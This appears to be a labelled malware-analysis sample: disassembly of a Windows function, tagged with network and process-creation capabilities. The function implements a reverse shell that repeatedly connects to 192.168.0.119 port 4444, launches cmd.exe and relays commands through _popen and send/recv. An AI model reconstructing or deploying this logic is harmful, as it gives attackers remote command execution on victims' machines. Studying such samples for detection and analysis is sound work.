Function at 0x140007f30
Capabilities:
Connect socket
Create process on windows
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7b8
call fcn.140001730
mov rdi, qword [0x14000af70]
xor ecx, ecx
lea rbx, [rsp + 0x290]
mov rax, qword [rdi]
mov qword [rsp + 0x7a8], rax
xor eax, eax
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
xor ecx, ecx
mov r8d, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400081cf
mov rcx, rbx
call fcn.1400014a0
lea rdx, [rsp + 0xf0]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r12d, eax
test eax, eax
jne 0x1400081aa
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400081eb
mov ecx, 0x115c
lea rdi, [rsp + 0xe0]
mov word [rsp + 0xe0], 2
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.0.119
mov word [rsp + 0xe2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rbx, qword [sym.imp.WS2_32.dll_connect]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xe4], eax
jmp 0x140008027
mov ecx, 0x1388
call rbp
mov r8d, 0x10
mov rdx, rdi
mov rcx, rsi
call rbx
cmp eax, 0xffffffff
je 0x140008020
lea rdx, [rsp + 0x74]
xor eax, eax
mov ecx, 0x13
xor r9d, r9d
mov rdi, rdx
movq xmm0, rsi
xor edx, edx
mov dword [rsp + 0x70], 0x68
rep stosd dword [rdi], eax
punpcklqdq xmm0, xmm0
lea rax, [rsp + 0x50]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov dword [rsp + 0x28], edx
lea rdx, str.cmd.exe
mov dword [rsp + 0xac], 0x100
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0xc0], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000820d
mov rdi, qword [sym.imp.WS2_32.dll_recv]
mov rbp, qword [sym.imp.msvcrt.dll__popen]
lea rbx, [rsp + 0x3a0]
lea r14, [0x14000a0a4]
jmp 0x140008105
cdqe
mov rdx, r14
mov rcx, rbx
mov byte [rsp + rax + 0x3a0], 0
call rbp
mov r15, qword [sym.imp.WS2_32.dll_send]
mov r13, rax
test rax, rax
jne 0x140008187
xor r9d, r9d
mov r8d, 0x3ff
mov rdx, rbx
mov rcx, rsi
call rdi
test eax, eax
jg 0x1400080e0
mov rcx, qword [rsp + 0x50]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x58]
call rbx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, qword [0x14000af70]
mov rax, qword [rsp + 0x7a8]
sub rax, qword [rdi]
jne 0x140008238
mov eax, r12d
add rsp, 0x7b8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
call sub.msvcrt.dll_strlen
xor r9d, r9d
mov rdx, rbx
mov rcx, rsi
mov r8d, eax
call r15
mov r8, r13
mov edx, 0x3ff
mov rcx, rbx
call sub.msvcrt.dll_fgets
test rax, rax
jne 0x140008170
mov rcx, r13
call qword [sym.imp.msvcrt.dll__pclose]
jmp 0x140008105
mov ecx, 2
call qword [fcn.140007830]
lea rdx, str.Error:_WSAStartup_failed._n
mov rcx, rax
call fcn.140001450
mov r12d, 1
jmp 0x14000813e
mov ecx, 2
call qword [fcn.140007830]
lea rdx, str.Error:_Unable_to_get_module_file_name._n
mov rcx, rax
call fcn.140001450
jmp 0x1400081c4
mov ecx, 2
call qword [fcn.140007830]
lea rdx, str.Error:_Socket_creation_failed._n
mov rcx, rax
call fcn.140001450
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400081c4
mov ecx, 2
call qword [fcn.140007830]
lea rdx, str.Error:_CreateProcess_failed._n
mov rcx, rax
call fcn.140001450
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400081c4
call sub.libssp_0.dll___stack_chk_fail
nop
nop
nop
push rsi
push rbx
sub rsp, 0x38
cmp qword [0x14001a170], 0
je 0x140008257
add rsp, 0x38
pop rbx
pop rsi
ret
lea rsi, [rsp + 0x2c]
mov rbx, qword [0x1400090a0]
mov rcx, rsi
call rbx
test eax, eax
je 0x14000827f
movabs rax, 0xdeadbeefdeadbeef
mov qword [0x14001a170], rax
jmp 0x140008250
mov eax, dword [rsp + 0x2c]
mov rcx, rsi
mov qword [0x14001a170], rax
call rbx
mov rax, qword [0x14001a170]
mov edx, dword [rsp + 0x2c]
shl rax, 0x20
or rax, rdx
mov qword [0x14001a170], rax
jmp 0x140008250